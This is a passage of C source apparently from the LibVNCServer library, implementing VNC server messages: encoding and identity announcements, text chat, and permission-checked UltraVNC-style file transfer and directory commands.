sizeof(supported) / sizeof(supported[0]), i; /* think rfbSetEncodingsMsg */ if (cl->ublen + sz_rfbFramebufferUpdateRectHeader + (nEncodings * sizeof(uint32_t)) > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.encoding = Swap32IfLE(rfbEncodingSupportedEncodings); rect.r.x = 0; rect.r.y = 0; rect.r.w = Swap16IfLE(nEncodings * sizeof(uint32_t)); rect.r.h = Swap16IfLE(nEncodings); memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; for (i = 0; i < nEncodings; i++) { uint32_t encoding = Swap32IfLE(supported[i]); memcpy(&cl->updateBuf[cl->ublen], (char *)&encoding, sizeof(encoding)); cl->ublen += sizeof(encoding); } rfbStatRecordEncodingSent(cl, rfbEncodingSupportedEncodings, sz_rfbFramebufferUpdateRectHeader+(nEncodings * sizeof(uint32_t)), sz_rfbFramebufferUpdateRectHeader+(nEncodings * sizeof(uint32_t))); if (!rfbSendUpdateBuf(cl)) return FALSE; return TRUE; } void rfbSetServerVersionIdentity(rfbScreenInfoPtr screen, char *fmt, ...) { char buffer[256]; va_list ap; va_start(ap, fmt); vsnprintf(buffer, sizeof(buffer)-1, fmt, ap); va_end(ap); if (screen->versionString!=NULL) free(screen->versionString); screen->versionString = strdup(buffer); } /* * Send rfbEncodingServerIdentity. */ rfbBool rfbSendServerIdentity(rfbClientPtr cl) { rfbFramebufferUpdateRectHeader rect; char buffer[512]; /* tack on our library version */ snprintf(buffer,sizeof(buffer)-1, "%s (%s)", (cl->screen->versionString==NULL ? "unknown" : cl->screen->versionString), LIBVNCSERVER_PACKAGE_STRING); if (cl->ublen + sz_rfbFramebufferUpdateRectHeader + (strlen(buffer)+1) > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.encoding = Swap32IfLE(rfbEncodingServerIdentity); rect.r.x = 0; rect.r.y = 0; rect.r.w = Swap16IfLE(strlen(buffer)+1); rect.r.h = 0; memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; memcpy(&cl->updateBuf[cl->ublen], buffer, strlen(buffer)+1); cl->ublen += strlen(buffer)+1; rfbStatRecordEncodingSent(cl, rfbEncodingServerIdentity, sz_rfbFramebufferUpdateRectHeader+strlen(buffer)+1, sz_rfbFramebufferUpdateRectHeader+strlen(buffer)+1); if (!rfbSendUpdateBuf(cl)) return FALSE; return TRUE; } /* * Send an xvp server message */ rfbBool rfbSendXvp(rfbClientPtr cl, uint8_t version, uint8_t code) { rfbXvpMsg xvp; xvp.type = rfbXvp; xvp.pad = 0; xvp.version = version; xvp.code = code; LOCK(cl->sendMutex); if (rfbWriteExact(cl, (char *)&xvp, sz_rfbXvpMsg) < 0) { rfbLogPerror("rfbSendXvp: write"); rfbCloseClient(cl); } UNLOCK(cl->sendMutex); rfbStatRecordMessageSent(cl, rfbXvp, sz_rfbXvpMsg, sz_rfbXvpMsg); return TRUE; } rfbBool rfbSendTextChatMessage(rfbClientPtr cl, uint32_t length, char *buffer) { rfbTextChatMsg tc; int bytesToSend=0; memset((char *)&tc, 0, sizeof(tc)); tc.type = rfbTextChat; tc.length = Swap32IfLE(length); switch(length) { case rfbTextChatOpen: case rfbTextChatClose: case rfbTextChatFinished: bytesToSend=0; break; default: bytesToSend=length; if (bytesToSend>rfbTextMaxSize) bytesToSend=rfbTextMaxSize; } if (cl->ublen + sz_rfbTextChatMsg + bytesToSend > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } memcpy(&cl->updateBuf[cl->ublen], (char *)&tc, sz_rfbTextChatMsg); cl->ublen += sz_rfbTextChatMsg; if (bytesToSend>0) { memcpy(&cl->updateBuf[cl->ublen], buffer, bytesToSend); cl->ublen += bytesToSend; } rfbStatRecordMessageSent(cl, rfbTextChat, sz_rfbTextChatMsg+bytesToSend, sz_rfbTextChatMsg+bytesToSend); if (!rfbSendUpdateBuf(cl)) return FALSE; return TRUE; } #define FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN(msg, cl, ret) \ if ((cl->screen->getFileTransferPermission != NULL \ && cl->screen->getFileTransferPermission(cl) != TRUE) \ || cl->screen->permitFileTransfer != TRUE) { \ rfbLog("%sUltra File Transfer is disabled, dropping client: %s\n", msg, cl->host); \ rfbCloseClient(cl); \ return ret; \ } int DB = 1; rfbBool rfbSendFileTransferMessage(rfbClientPtr cl, uint8_t contentType, uint8_t contentParam, uint32_t size, uint32_t length, const char *buffer) { rfbFileTransferMsg ft; ft.type = rfbFileTransfer; ft.contentType = contentType; ft.contentParam = contentParam; ft.pad = 0; /* UltraVNC did not Swap16LE(ft.contentParam) (Looks like it might be BigEndian) */ ft.size = Swap32IfLE(size); ft.length = Swap32IfLE(length); FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN("", cl, FALSE); /* rfbLog("rfbSendFileTransferMessage( %dtype, %dparam, %dsize, %dlen, %p)\n", contentType, contentParam, size, length, buffer); */ LOCK(cl->sendMutex); if (rfbWriteExact(cl, (char *)&ft, sz_rfbFileTransferMsg) < 0) { rfbLogPerror("rfbSendFileTransferMessage: write"); rfbCloseClient(cl); UNLOCK(cl->sendMutex); return FALSE; } if (length>0) { if (rfbWriteExact(cl, buffer, length) < 0) { rfbLogPerror("rfbSendFileTransferMessage: write"); rfbCloseClient(cl); UNLOCK(cl->sendMutex); return FALSE; } } UNLOCK(cl->sendMutex); rfbStatRecordMessageSent(cl, rfbFileTransfer, sz_rfbFileTransferMsg+length, sz_rfbFileTransferMsg+length); return TRUE; } /* * UltraVNC uses Windows Structures */ #define MAX_PATH 260 typedef struct { uint32_t dwLowDateTime; uint32_t dwHighDateTime; } RFB_FILETIME; typedef struct { uint32_t dwFileAttributes; RFB_FILETIME ftCreationTime; RFB_FILETIME ftLastAccessTime; RFB_FILETIME ftLastWriteTime; uint32_t nFileSizeHigh; uint32_t nFileSizeLow; uint32_t dwReserved0; uint32_t dwReserved1; uint8_t cFileName[ MAX_PATH ]; uint8_t cAlternateFileName[ 14 ]; } RFB_FIND_DATA; #define RFB_FILE_ATTRIBUTE_READONLY 0x1 #define RFB_FILE_ATTRIBUTE_HIDDEN 0x2 #define RFB_FILE_ATTRIBUTE_SYSTEM 0x4 #define RFB_FILE_ATTRIBUTE_DIRECTORY 0x10 #define RFB_FILE_ATTRIBUTE_ARCHIVE 0x20 #define RFB_FILE_ATTRIBUTE_NORMAL 0x80 #define RFB_FILE_ATTRIBUTE_TEMPORARY 0x100 #define RFB_FILE_ATTRIBUTE_COMPRESSED 0x800 rfbBool rfbFilenameTranslate2UNIX(rfbClientPtr cl, /* in */ char *path, /* out */ char *unixPath, size_t unixPathMaxLen) { int x; char *home=NULL; FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN("", cl, FALSE); /* * Do not use strncpy() - truncating the file name would probably have undesirable side effects * Instead check if destination buffer is big enough */ if (strlen(path) >= unixPathMaxLen) return FALSE; /* C: */ if (path[0]=='C' && path[1]==':') strcpy(unixPath, &path[2]); else { home = getenv("HOME"); if (home!=NULL) { /* Re-check buffer size */ if ((strlen(path) + strlen(home) + 1) >= unixPathMaxLen) return FALSE; strcpy(unixPath, home); strcat(unixPath,"/"); strcat(unixPath, path); } else strcpy(unixPath, path); } for (x=0;x<strlen(unixPath);x++) if (unixPath[x]=='\\') unixPath[x]='/'; return TRUE; } rfbBool rfbFilenameTranslate2DOS(rfbClientPtr cl, char *unixPath, char *path) { int x; FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN("", cl, FALSE); sprintf(path,"C:%s", unixPath); for (x=2;x<strlen(path);x++) if (path[x]=='/') path[x]='\\'; return TRUE; } rfbBool rfbSendDirContent(rfbClientPtr cl, int length, char *buffer) { char retfilename[MAX_PATH]; char path[MAX_PATH]; struct stat statbuf; RFB_FIND_DATA win32filename; int nOptLen = 0, retval=0; #ifdef WIN32 WIN32_FIND_DATAA winFindData; HANDLE findHandle; int pathLen, basePathLength; char *basePath; #else DIR *dirp=NULL; struct dirent *direntp=NULL; #endif FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN("", cl, FALSE); /* Client thinks we are Winblows */ if (!rfbFilenameTranslate2UNIX(cl, buffer, path, sizeof(path))) return FALSE; if (DB) rfbLog("rfbProcessFileTransfer() rfbDirContentRequest: rfbRDirContent: \"%s\"->\"%s\"\n",buffer, path); #ifdef WIN32 // Create a search string, like C:\folder\* pathLen = strlen(path); basePath = malloc(pathLen + 3); memcpy(basePath, path, pathLen); basePathLength = pathLen; basePath[basePathLength] = '\\'; basePath[basePathLength + 1] = '*'; basePath[basePathLength + 2] = '\0'; // Start a search memset(&winFindData, 0, sizeof(winFindData)); findHandle = FindFirstFileA(path, &winFindData); free(basePath); if (findHandle == INVALID_HANDLE_VALUE) #else dirp=opendir(path); if (dirp==NULL) #endif return rfbSendFileTransferMessage(cl, rfbDirPacket, rfbADirectory, 0, 0, NULL); /* send back the path name (necessary for links) */ if (rfbSendFileTransferMessage(cl, rfbDirPacket, rfbADirectory, 0, length, buffer)==FALSE) return FALSE; #ifdef WIN32 while (findHandle != INVALID_HANDLE_VALUE) #else for (direntp=readdir(dirp); direntp!=NULL; direntp=readdir(dirp)) #endif { /* get stats */ #ifdef WIN32 snprintf(retfilename,sizeof(retfilename),"%s/%s", path, winFindData.cFileName); #else snprintf(retfilename,sizeof(retfilename),"%s/%s", path, direntp->d_name); #endif retval = stat(retfilename, &statbuf); if (retval==0) { memset((char *)&win32filename, 0, sizeof(win32filename)); #ifdef WIN32 win32filename.dwFileAttributes = winFindData.dwFileAttributes; win32filename.ftCreationTime.dwLowDateTime = winFindData.ftCreationTime.dwLowDateTime; win32filename.ftCreationTime.dwHighDateTime = winFindData.ftCreationTime.dwHighDateTime; win32filename.ftLastAccessTime.dwLowDateTime = winFindData.ftLastAccessTime.dwLowDateTime; win32filename.ftLastAccessTime.dwHighDateTime = winFindData.ftLastAccessTime.dwHighDateTime; win32filename.ftLastWriteTime.dwLowDateTime = winFindData.ftLastWriteTime.dwLowDateTime; win32filename.ftLastWriteTime.dwHighDateTime = winFindData.ftLastWriteTime.dwHighDateTime; win32filename.nFileSizeLow = winFindData.nFileSizeLow; win32filename.nFileSizeHigh = winFindData.nFileSizeHigh; win32filename.dwReserved0 = winFindData.dwReserved0; win32filename.dwReserved1 = winFindData.dwReserved1; strcpy((char *)win32filename.cFileName, winFindData.cFileName); strcpy((char *)win32filename.cAlternateFileName, winFindData.cAlternateFileName); #else win32filename.dwFileAttributes = Swap32IfBE(RFB_FILE_ATTRIBUTE_NORMAL); if (S_ISDIR(statbuf.st_mode)) win32filename.dwFileAttributes = Swap32IfBE(RFB_FILE_ATTRIBUTE_DIRECTORY); win32filename.ftCreationTime.dwLowDateTime = Swap32IfBE(statbuf.st_ctime); /* Intel Order */ win32filename.ftCreationTime.dwHighDateTime = 0; win32filename.ftLastAccessTime.dwLowDateTime = Swap32IfBE(statbuf.st_atime); /* Intel Order */ win32filename.ftLastAccessTime.dwHighDateTime = 0; win32filename.ftLastWriteTime.dwLowDateTime = Swap32IfBE(statbuf.st_mtime); /* Intel Order */ win32filename.ftLastWriteTime.dwHighDateTime = 0; win32filename.nFileSizeLow = Swap32IfBE(statbuf.st_size); /* Intel Order */ win32filename.nFileSizeHigh = 0; win32filename.dwReserved0 = 0; win32filename.dwReserved1 = 0; /* If this had the full path, we would need to translate to DOS format ("C:\") */ /* rfbFilenameTranslate2DOS(cl, retfilename, win32filename.cFileName); */ strcpy((char *)win32filename.cFileName, direntp->d_name); #endif /* Do not show hidden files (but show how to move up the tree) */ if ((strcmp((char *)win32filename.cFileName, "..")==0) || (win32filename.cFileName[0]!='.')) { nOptLen = sizeof(RFB_FIND_DATA) - MAX_PATH - 14 + strlen((char *)win32filename.cFileName); /* rfbLog("rfbProcessFileTransfer() rfbDirContentRequest: rfbRDirContent: Sending \"%s\"\n", (char *)win32filename.cFileName); */ if (rfbSendFileTransferMessage(cl, rfbDirPacket, rfbADirectory, 0, nOptLen, (char *)&win32filename)==FALSE) { #ifdef WIN32 FindClose(findHandle); #else closedir(dirp); #endif return FALSE; } } } #ifdef WIN32 if (FindNextFileA(findHandle, &winFindData) == 0) { FindClose(findHandle); findHandle = INVALID_HANDLE_VALUE; } #endif } #ifdef WIN32 if (findHandle != INVALID_HANDLE_VALUE) { FindClose(findHandle); } #else closedir(dirp); #endif /* End of the transfer */ return rfbSendFileTransferMessage(cl, rfbDirPacket, 0, 0, 0, NULL); } char *rfbProcessFileTransferReadBuffer(rfbClientPtr cl, uint32_t length) { char *buffer=NULL; int n=0; FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN("", cl, NULL); /* We later alloc length+1, which might wrap around on 32-bit systems if length equals 0XFFFFFFFF, i.e. SIZE_MAX for 32-bit systems. On 64-bit systems, a length of 0XFFFFFFFF will safely be allocated since this check will never trigger and malloc() can digest length+1 without problems as length is a uint32_t. We also later pass length to rfbReadExact() that expects a signed int type and that might wrap on platforms with a 32-bit int type if length is bigger than 0X7FFFFFFF. */ if(length == SIZE_MAX || length > INT_MAX) { rfbErr("rfbProcessFileTransferReadBuffer: too big file transfer length requested: %u", (unsigned int)length); rfbCloseClient(cl); return NULL; } if (length>0) { buffer=malloc((size_t)length+1); if (buffer!=NULL) { if ((n = rfbReadExact(cl, (char *)buffer, length)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessFileTransferReadBuffer: read"); rfbCloseClient(cl); /* NOTE: don't forget to free(buffer) if you return early! */ if (buffer!=NULL) free(buffer); return NULL; } /* Null Terminate */ buffer[length]=0; } } return buffer; } rfbBool rfbSendFileTransferChunk(rfbClientPtr cl) { /* Allocate buffer for compression */ unsigned char readBuf[sz_rfbBlockSize]; int bytesRead=0; int retval=0; fd_set wfds; struct timeval tv; int n; #ifdef LIBVNCSERVER_HAVE_LIBZ unsigned char compBuf[sz_rfbBlockSize + 1024]; unsigned long nMaxCompSize = sizeof(compBuf); int nRetC = 0; #endif /* * Don't close the client if we get into this one because * it is called from many places to service file transfers. * Note that permitFileTransfer is checked first. */ if (cl->screen->permitFileTransfer != TRUE || (cl->screen->getFileTransferPermission != NULL && cl->screen->getFileTransferPermission(cl) != TRUE)) { return TRUE; } /* If not sending, or no file open... Return as if we sent something! */ if ((cl->fileTransfer.fd!=-1) && (cl->fileTransfer.sending==1)) { FD_ZERO(&wfds); FD_SET(cl->sock, &wfds); /* return immediately */ tv.tv_sec = 0; tv.tv_usec = 0; n = select(cl->sock + 1, NULL, &wfds, NULL, &tv); if (n<0) { #ifdef WIN32 errno=WSAGetLastError(); #endif rfbLog("rfbSendFileTransferChunk() select failed: %s\n", strerror(errno)); } /* We have space on the transmit queue */ if (n > 0) { bytesRead = read(cl->fileTransfer.fd, readBuf, sz_rfbBlockSize); switch (bytesRead) { case 0: /* rfbLog("rfbSendFileTransferChunk(): End-Of-File Encountered\n"); */ retval = rfbSendFileTransferMessage(cl, rfbEndOfFile, 0, 0, 0, NULL); close(cl->fileTransfer.fd); cl->fileTransfer.fd = -1; cl->fileTransfer.sending = 0; cl->fileTransfer.receiving = 0; return retval; case -1: /* TODO : send an error msg to the client... */ #ifdef WIN32 errno=WSAGetLastError(); #endif rfbLog("rfbSendFileTransferChunk(): %s\n",strerror(errno)); retval = rfbSendFileTransferMessage(cl, rfbAbortFileTransfer, 0, 0, 0, NULL); close(cl->fileTransfer.fd); cl->fileTransfer.fd = -1; cl->fileTransfer.sending = 0; cl->fileTransfer.receiving = 0; return retval; default: /* rfbLog("rfbSendFileTransferChunk(): Read %d bytes\n", bytesRead); */ if (!cl->fileTransfer.compressionEnabled) return rfbSendFileTransferMessage(cl, rfbFilePacket, 0, 0, bytesRead, (char *)readBuf); else { #ifdef LIBVNCSERVER_HAVE_LIBZ nRetC = compress(compBuf, &nMaxCompSize, readBuf, bytesRead); /* rfbLog("Compressed the packet from %d -> %d bytes\n", nMaxCompSize, bytesRead); */ if ((nRetC==0) && (nMaxCompSize<bytesRead)) return rfbSendFileTransferMessage(cl, rfbFilePacket, 0, 1, nMaxCompSize, (char *)compBuf); else return rfbSendFileTransferMessage(cl, rfbFilePacket, 0, 0, bytesRead, (char *)readBuf); #else /* We do not support compression of the data stream */ return rfbSendFileTransferMessage(cl, rfbFilePacket, 0, 0, bytesRead, (char *)readBuf); #endif } } } } return TRUE; } rfbBool rfbProcessFileTransfer(rfbClientPtr cl, uint8_t contentType, uint8_t contentParam, uint32_t size, uint32_t length) { char *buffer=NULL, *p=NULL; int retval=0; char filename1[MAX_PATH]; char filename2[MAX_PATH]; char szFileTime[MAX_PATH]; struct stat statbuf; uint32_t sizeHtmp=0; int n=0; char timespec[64]; #ifdef LIBVNCSERVER_HAVE_LIBZ unsigned char compBuff[sz_rfbBlockSize]; unsigned long nRawBytes = sz_rfbBlockSize; int nRet = 0; #endif FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN("", cl, FALSE); /* rfbLog("rfbProcessFileTransfer(%dtype, %dparam, %dsize, %dlen)\n", contentType, contentParam, size, length); */ switch (contentType) { case rfbDirContentRequest: switch (contentParam) { case rfbRDrivesList: /* Client requests the List of Local Drives */ /* rfbLog("rfbProcessFileTransfer() rfbDirContentRequest: rfbRDrivesList:\n"); */ /* Format when filled : "C:\<NULL>D:\<NULL>....Z:\<NULL><NULL> * * We replace the "\" char following the drive letter and ":" * with a char corresponding to the type of drive * We obtain something like "C:l<NULL>D:c<NULL>....Z:n\<NULL><NULL>" * Isn't it ugly ? * DRIVE_FIXED = 'l' (local?) * DRIVE_REMOVABLE = 'f' (floppy?) * DRIVE_CDROM = 'c' * DRIVE_REMOTE = 'n' */ /* in unix, there are no 'drives' (We could list mount points though) * We fake the root as a "C:" for the Winblows users */ filename2[0]='C'; filename2[1]=':'; filename2[2]='l'; filename2[3]=0; filename2[4]=0; retval = rfbSendFileTransferMessage(cl, rfbDirPacket, rfbADrivesList, 0, 5, filename2); if (buffer!=NULL) free(buffer); return retval; break; case rfbRDirContent: /* Client requests the content of a directory */ /* rfbLog("rfbProcessFileTransfer() rfbDirContentRequest: rfbRDirContent\n"); */ if ((buffer = rfbProcessFileTransferReadBuffer(cl, length))==NULL) return FALSE; retval = rfbSendDirContent(cl, length, buffer); if (buffer!=NULL) free(buffer); return retval; } break; case rfbDirPacket: rfbLog("rfbProcessFileTransfer() rfbDirPacket\n"); break; case rfbFileAcceptHeader: rfbLog("rfbProcessFileTransfer() rfbFileAcceptHeader\n"); break; case rfbCommandReturn: rfbLog("rfbProcessFileTransfer() rfbCommandReturn\n"); break; case rfbFileChecksums: /* Destination file already exists - the viewer sends the checksums */ rfbLog("rfbProcessFileTransfer() rfbFileChecksums\n"); break; case rfbFileTransferAccess: rfbLog("rfbProcessFileTransfer() rfbFileTransferAccess\n"); break; /* * sending from the server to the viewer */ case rfbFileTransferRequest: /* rfbLog("rfbProcessFileTransfer() rfbFileTransferRequest:\n"); */ /* add some space to the end of the buffer as we will be adding a timespec to it */ if ((buffer = rfbProcessFileTransferReadBuffer(cl, length))==NULL) return FALSE; /* The client requests a File */ if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1))) goto fail; cl->fileTransfer.fd=open(filename1, O_RDONLY, 0744); /* */ if (DB) rfbLog("rfbProcessFileTransfer() rfbFileTransferRequest(\"%s\"->\"%s\") Open: %s fd=%d\n", buffer, filename1, (cl->fileTransfer.fd==-1?"Failed":"Success"), cl->fileTransfer.fd); if (cl->fileTransfer.fd!=-1) { if (fstat(cl->fileTransfer.fd, &statbuf)!=0) { close(cl->fileTransfer.fd); cl->fileTransfer.fd=-1; } else { /* Add the File Time Stamp to the filename */ strftime(timespec, sizeof(timespec), "%m/%d/%Y %H:%M",gmtime(&statbuf.st_ctime)); buffer=realloc(buffer, length + strlen(timespec) + 2); /* comma, and Null term */ if (buffer==NULL) { rfbLog("rfbProcessFileTransfer() rfbFileTransferRequest: Failed to malloc %d bytes\n", length + strlen(timespec) + 2); return FALSE; } strcat(buffer,","); strcat(buffer, timespec); length = strlen(buffer); if (DB) rfbLog("rfbProcessFileTransfer() buffer is now: \"%s\"\n", buffer); } } /* The viewer supports compression if size==1 */ cl->fileTransfer.compressionEnabled = (size==1); /* rfbLog("rfbProcessFileTransfer() rfbFileTransferRequest(\"%s\"->\"%s\")%s\n", buffer, filename1, (size==1?" <Compression Enabled>":"")); */ /* File Size in bytes, 0xFFFFFFFF (-1) means error */ retval = rfbSendFileTransferMessage(cl, rfbFileHeader, 0, (cl->fileTransfer.fd==-1 ? -1 : statbuf.st_size), length, buffer); if (cl->fileTransfer.fd==-1) { if (buffer!=NULL) free(buffer); return retval; } /* setup filetransfer stuff */ cl->fileTransfer.fileSize = statbuf.st_size; cl->fileTransfer.numPackets = statbuf.st_size / sz_rfbBlockSize; cl->fileTransfer.receiving = 0; cl->fileTransfer.sending = 0; /* set when we receive a rfbFileHeader: */ /* TODO: finish 64-bit file size support */ sizeHtmp = 0; LOCK(cl->sendMutex); if (rfbWriteExact(cl, (char *)&sizeHtmp, 4) < 0) { rfbLogPerror("rfbProcessFileTransfer: write"); rfbCloseClient(cl); UNLOCK(cl->sendMutex); if (buffer!=NULL) free(buffer); return FALSE; } UNLOCK(cl->sendMutex); break; case rfbFileHeader: /* Destination file (viewer side) is ready for reception (size > 0) or not (size = -1) */ if (size==-1) { rfbLog("rfbProcessFileTransfer() rfbFileHeader (error, aborting)\n"); close(cl->fileTransfer.fd); cl->fileTransfer.fd=-1; return TRUE; } /* rfbLog("rfbProcessFileTransfer() rfbFileHeader (%d bytes of a file)\n", size); */ /* Starts the transfer! */ cl->fileTransfer.sending=1; return rfbSendFileTransferChunk(cl); break; /* * sending from the viewer to the server */ case rfbFileTransferOffer: /* client is sending a file to us */ /* buffer contains full path name (plus FileTime) */ /* size contains size of the file */ /* rfbLog("rfbProcessFileTransfer() rfbFileTransferOffer:\n"); */ if ((buffer = rfbProcessFileTransferReadBuffer(cl, length))==NULL) return FALSE; /* Parse the FileTime */ p = strrchr(buffer, ','); if (p!=NULL) { *p = '\0'; strncpy(szFileTime, p+1, sizeof(szFileTime)); szFileTime[sizeof(szFileTime)-1] = '\x00'; /* ensure NULL terminating byte is present, even if copy overflowed */ } else szFileTime[0]=0; /* Need to read in sizeHtmp */ if ((n = rfbReadExact(cl, (char *)&sizeHtmp, 4)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessFileTransfer: read sizeHtmp"); rfbCloseClient(cl); /* NOTE: don't forget to free(buffer) if you return early! */ if (buffer!=NULL) free(buffer); return FALSE; } sizeHtmp = Swap32IfLE(sizeHtmp); if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1))) goto fail; /* If the file exists... We can send a rfbFileChecksums back to the client before we send an rfbFileAcceptHeader */ /* TODO: Delta Transfer */ cl->fileTransfer.fd=open(filename1, O_CREAT|O_WRONLY|O_TRUNC, 0744); if (DB) rfbLog("rfbProcessFileTransfer() rfbFileTransferOffer(\"%s\"->\"%s\") %s %s fd=%d\n", buffer, filename1, (cl->fileTransfer.fd==-1?"Failed":"Success"), (cl->fileTransfer.fd==-1?strerror(errno):""), cl->fileTransfer.fd); /* */ /* File Size in bytes, 0xFFFFFFFF (-1) means error */ retval = rfbSendFileTransferMessage(cl, rfbFileAcceptHeader, 0, (cl->fileTransfer.fd==-1 ? -1 : 0), length, buffer); if (cl->fileTransfer.fd==-1) { free(buffer); return retval; } /* setup filetransfer stuff */ cl->fileTransfer.fileSize = size; cl->fileTransfer.numPackets = size / sz_rfbBlockSize; cl->fileTransfer.receiving = 1; cl->fileTransfer.sending = 0; break; case rfbFilePacket: /* rfbLog("rfbProcessFileTransfer() rfbFilePacket:\n"); */ if ((buffer = rfbProcessFileTransferReadBuffer(cl, length))==NULL) return FALSE; if (cl->fileTransfer.fd!=-1) { /* buffer contains the contents of the file */ if (size==0) retval=write(cl->fileTransfer.fd, buffer, length); else { #ifdef LIBVNCSERVER_HAVE_LIBZ /* compressed packet */ nRet = uncompress(compBuff,&nRawBytes,(const unsigned char*)buffer, length); if(nRet == Z_OK) retval=write(cl->fileTransfer.fd, (char*)compBuff, nRawBytes); else retval = -1; #else /* Write the file out as received... */ retval=write(cl->fileTransfer.fd, buffer, length); #endif } if (retval==-1) { close(cl->fileTransfer.fd); cl->fileTransfer.fd=-1; cl->fileTransfer.sending = 0; cl->fileTransfer.receiving = 0; } } break; case rfbEndOfFile: if (DB) rfbLog("rfbProcessFileTransfer() rfbEndOfFile\n"); /* */ if (cl->fileTransfer.fd!=-1) close(cl->fileTransfer.fd); cl->fileTransfer.fd=-1; cl->fileTransfer.sending = 0; cl->fileTransfer.receiving = 0; break; case rfbAbortFileTransfer: if (DB) rfbLog("rfbProcessFileTransfer() rfbAbortFileTransfer\n"); /* */ if (cl->fileTransfer.fd!=-1) { close(cl->fileTransfer.fd); cl->fileTransfer.fd=-1; cl->fileTransfer.sending = 0; cl->fileTransfer.receiving = 0; } else { /* We use this message for FileTransfer rights (<=RC18 versions) * The client asks for FileTransfer permission */ if (contentParam == 0) { rfbLog("rfbProcessFileTransfer() File Transfer Permission DENIED! (Client Version <=RC18)\n"); /* Old method for FileTransfer handshake perimssion (<=RC18) (Deny it)*/ return rfbSendFileTransferMessage(cl, rfbAbortFileTransfer, 0, -1, 0, ""); } /* New method is allowed */ if (cl->screen->getFileTransferPermission!=NULL) { if (cl->screen->getFileTransferPermission(cl)==TRUE) { rfbLog("rfbProcessFileTransfer() File Transfer Permission Granted!\n"); return rfbSendFileTransferMessage(cl, rfbFileTransferAccess, 0, 1 , 0, ""); /* Permit */ } else { rfbLog("rfbProcessFileTransfer() File Transfer Permission DENIED!\n"); return rfbSendFileTransferMessage(cl, rfbFileTransferAccess, 0, -1 , 0, ""); /* Deny */ } } else { if (cl->screen->permitFileTransfer) { rfbLog("rfbProcessFileTransfer() File Transfer Permission Granted!\n"); return rfbSendFileTransferMessage(cl, rfbFileTransferAccess, 0, 1 , 0, ""); /* Permit */ } else { rfbLog("rfbProcessFileTransfer() File Transfer Permission DENIED by default!\n"); return rfbSendFileTransferMessage(cl, rfbFileTransferAccess, 0, -1 , 0, ""); /* DEFAULT: DENY (for security) */ } } } break; case rfbCommand: /* rfbLog("rfbProcessFileTransfer() rfbCommand:\n"); */ if ((buffer = rfbProcessFileTransferReadBuffer(cl, length))==NULL) return FALSE; switch (contentParam) { case rfbCDirCreate: /* Client requests the creation of a directory */ if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1))) goto fail; retval = mkdir(filename1, 0755); if (DB) rfbLog("rfbProcessFileTransfer() rfbCommand: rfbCDirCreate(\"%s\"->\"%s\") %s\n", buffer, filename1, (retval==-1?"Failed":"Success")); /* */ retval = rfbSendFileTransferMessage(cl, rfbCommandReturn, rfbADirCreate, retval, length, buffer); if (buffer!=NULL) free(buffer); return retval; case rfbCFileDelete: /* Client requests the deletion of a file */ if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1))) goto fail; if (stat(filename1,&statbuf)==0) { if (S_ISDIR(statbuf.st_mode)) retval = rmdir(filename1); else retval = unlink(filename1); } else retval=-1; retval = rfbSendFileTransferMessage(cl, rfbCommandReturn, rfbAFileDelete, retval, length, buffer); if (buffer!=NULL) free(buffer); return retval; case rfbCFileRename: /* Client requests the Renaming of a file/directory */ p = strrchr(buffer, '*'); if (p != NULL) { /* Split into 2 filenames ('*' is a seperator) */ *p = '\0'; if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1))) goto fail; if (!rfbFilenameTranslate2UNIX(cl, p+1, filename2, sizeof(filename2))) goto fail; retval = rename(filename1,filename2); if (DB) rfbLog("rfbProcessFileTransfer() rfbCommand: rfbCFileRename(\"%s\"->\"%s\" -->> \"%s\"->\"%s\") %s\n", buffer, filename1, p+1, filename2, (retval==-1?"Failed":"Success")); /* */ /* Restore the buffer so the reply is good */ *p = '*'; retval = rfbSendFileTransferMessage(cl, rfbCommandReturn, rfbAFileRename, retval, length, buffer); if (buffer!=NULL) free(buffer); return retval; } break; } break; } /* NOTE: don't forget to free(buffer) if you return early! */ if (buffer!=NULL) free(buffer); return TRUE; fail: if (buffer!=NULL) free(buffer); return FALSE; } /* * rfbProcessClientNormalMessage is called when the client has sent a normal * protocol message. */ static void rfbProcessClientNormalMessage(rfbClientPtr cl) { int n=0; rfbClientToServerMsg msg; char *str; int i; uint32_t enc=0; uint32_t lastPreferredEncoding = -1; char encBuf[64]; char encBuf2[64]; if ((n = rfbReadExact(cl, (char *)&msg, 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } switch (msg.type) { case rfbSetPixelFormat: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbSetPixelFormatMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } cl->format.bitsPerPixel = msg.spf.format.bitsPerPixel; cl->format.depth = msg.spf.format.depth; cl->format.bigEndian = (msg.spf.format.bigEndian ? TRUE : FALSE); cl->format.trueColour = (msg.spf.format.trueColour ? TRUE : FALSE); cl->format.redMax = Swap16IfLE(msg.spf.format.redMax); cl->format.greenMax = Swap16IfLE(msg.spf.format.greenMax); cl->format.blueMax = Swap16IfLE(msg.spf.format.blueMax); cl->format.redShift = msg.spf.format.redShift; cl->format.greenShift = msg.spf.format.greenShift; cl->format.blueShift = msg.spf.format.blueShift; 